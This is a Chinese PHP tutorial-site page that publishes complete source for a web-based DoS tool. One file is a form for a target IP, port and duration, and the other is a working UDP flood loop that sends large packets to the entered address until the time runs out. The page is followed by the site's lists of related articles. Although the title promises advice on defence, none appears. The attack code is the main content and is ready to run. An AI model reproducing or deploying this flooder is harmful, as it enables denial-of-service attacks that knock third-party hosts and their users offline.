php DOS攻击实现代码(附如何防范)


Posted in PHP onMay 29, 2012

index.php

<?php 
$ip = $_SERVER['REMOTE_ADDR']; 
?> 
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> 
<html> 
<head> 
<meta http-equiv="content-type" content="text/html; charset=iso-8859-1"> 
<meta name="author" content=""> 
<title>PHP DoS, Coded by EXE</title> 
</head> 
<!-- PHP DOS, coded by EXE --> 
<style type="text/css"> 
<!-- 
body { 
font-family: Arial, Helvetica, sans-serif; 
font-size: 12px; 
font-style: normal; 
line-height: normal; 
color: #FFFFFF; 
background-color: #000000; 
} 
--> 
</style> 
<!-- PHP DOS, coded by EXE --> 
<body> 
<center><br><br> 
<img src="main.jpg"><br> 
<b>Your IP:</b> <font color="red"><?php echo $ip; ?></font> (Don't DoS yourself nub)<br><br> 
<form name="input" action="function.php" method="post"> 
IP: 
<input type="text" name="ip" size="15" maxlength="15" class="main" value = "0.0.0.0" onblur = "if ( this.value=='' ) this.value = '0.0.0.0';" onfocus = " if ( this.value == '0.0.0.0' ) this.value = '';"> 
    Time: 
<input type="text" name="time" size="14" maxlength="20" class="main" value = "time (in seconds)" onblur = "if ( this.value=='' ) this.value = 'time (in seconds)';" onfocus = " if ( this.value == 'time (in seconds)' ) this.value = '';"> 
    Port: 
<input type="text" name="port" size="5" maxlength="5" class="main" value = "port" onblur = "if ( this.value=='' ) this.value = 'port';" onfocus = " if ( this.value == 'port' ) this.value = '';"> 
<br><br> 
<input type="submit" value=" Start the Attack---> "> 
<br><br> 
<center> 
After initiating the DoS attack, please wait while the browser loads. 
</center> 
</form> 
</center> 
<!-- PHP DOS, coded by EXE --> 
</body> 
</html>

function.php
<?php 
//================================================= 
//PHP DOS v1.8 (Possibly Stronger Flood Strength) 
//Coded by EXE 
//================================================= 
$packets = 0; 
$ip = $_POST['ip']; 
$rand = $_POST['port']; 
set_time_limit(0); 
ignore_user_abort(FALSE); 
$exec_time = $_POST['time']; 
$time = time(); 
print "Flooded: $ip on port $rand <br><br>"; 
$max_time = $time+$exec_time; 
for($i=0;$i<65535;$i++){ 
$out .= "X"; 
} 
while(1){ 
$packets++; 
if(time() > $max_time){ 
break; 
} 
$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5); 
if($fp){ 
fwrite($fp, $out); 
fclose($fp); 
} 
} 
echo "Packet complete at ".time('h:i:s')." with $packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging ". round($packets/$exec_time, 2) . " packets/s \n"; 
?>
PHP 相关文章推荐
10条PHP编程习惯助你找工作
Sep 29 PHP
PHP无敌近乎加密方式!
Jul 17 PHP
一个PHP二维数组排序的函数分享
Jan 17 PHP
php ctype函数中文翻译和示例
Mar 21 PHP
codeigniter集成ucenter1.6双向通信的解决办法
Jun 12 PHP
简单实用的网站PHP缓存类实例
Jul 18 PHP
20个2014年最优秀的PHP框架回顾
Oct 22 PHP
php编写批量生成不重复的卡号密码代码
May 14 PHP
php实现在站点里面添加邮件发送的功能
Apr 28 PHP
php中引用符号(&amp;)的使用详细介绍
Dec 06 PHP
PHP框架自动加载类文件原理详解
Jun 06 PHP
详解PHP中的8个魔术常量
Jul 06 PHP
PHP fgetcsv 定义和用法(附windows与linux下兼容问题)
May 29 #PHP
PHP中将网页导出为Word文档的代码
May 25 #PHP
php在文件指定行中写入代码的方法
May 23 #PHP
php替换超长文本中的特殊字符的函数代码
May 22 #PHP
php提示undefined index的几种解决方法
May 21 #PHP
openflashchart 2.0 简单案例php版
May 21 #PHP
PHP中去掉字符串首尾空格的方法
May 19 #PHP
You might like
PHP实现对站点内容外部链接的过滤方法
2014/09/10 PHP
PHP获取当前完整URL地址的函数
2014/12/21 PHP
PHP实现的简单对称加密与解密方法实例小结
2017/08/28 PHP
JavaScript学习心得之概述
2015/01/20 Javascript
jQuery插件jcrop+Fileapi完美实现图片上传+裁剪+预览的代码分享
2015/04/22 Javascript
详解AngularJS中的http拦截
2016/02/09 Javascript
ajax接收后台数据在html页面显示
2017/02/19 Javascript
基于JavaScript实现验证码功能
2017/04/01 Javascript
Angualrjs 表单验证的两种方式(失去焦点验证和点击提交验证)
2017/05/09 Javascript
jQuery实现的弹幕效果完整实例
2017/09/06 jQuery
在vue中,v-for的索引index在html中的使用方法
2018/03/06 Javascript
js中DOM事件绑定分析
2018/03/18 Javascript
vue获取元素宽、高、距离左边距离,右,上距离等还有XY坐标轴的方法
2018/09/05 Javascript
微信小程序 腾讯地图SDK 获取当前地址实现解析
2019/08/12 Javascript
Vue中函数防抖节流的理解及应用实现
2020/04/24 Javascript
基于VUE实现判断设备是PC还是移动端
2020/07/03 Javascript
js实现详情页放大镜效果
2020/10/28 Javascript
跟老齐学Python之画圈还不简单吗?
2014/09/20 Python
python爬虫的工作原理
2017/03/05 Python
使用python爬虫实现网络股票信息爬取的demo
2018/01/05 Python
使用pandas对矢量化数据进行替换处理的方法
2018/04/11 Python
Python 字符串与数字输出方法
2018/07/16 Python
python实现字符串加密成纯数字
2019/03/19 Python
Pandas将列表(List)转换为数据框(Dataframe)
2020/04/24 Python
python中加背景音乐如何操作
2020/07/19 Python
Python3如何使用多线程升程序运行速度
2020/08/11 Python
python中count函数知识点浅析
2020/12/17 Python
美国网上眼镜商城:Zenni Optical
2016/11/20 全球购物
如何用Java实现列出某个目录下的所有子目录
2015/07/20 面试题
ktv收银员岗位职责
2013/12/16 职场文书
安全生产月演讲稿
2014/05/09 职场文书
离职证明标准格式
2014/09/15 职场文书
安全保证书怎么写
2015/02/28 职场文书
幼儿园迎新生欢迎词
2015/09/30 职场文书
导游词之桂林山水
2019/09/20 职场文书
如何使用JavaScript策略模式校验表单
2021/04/29 Javascript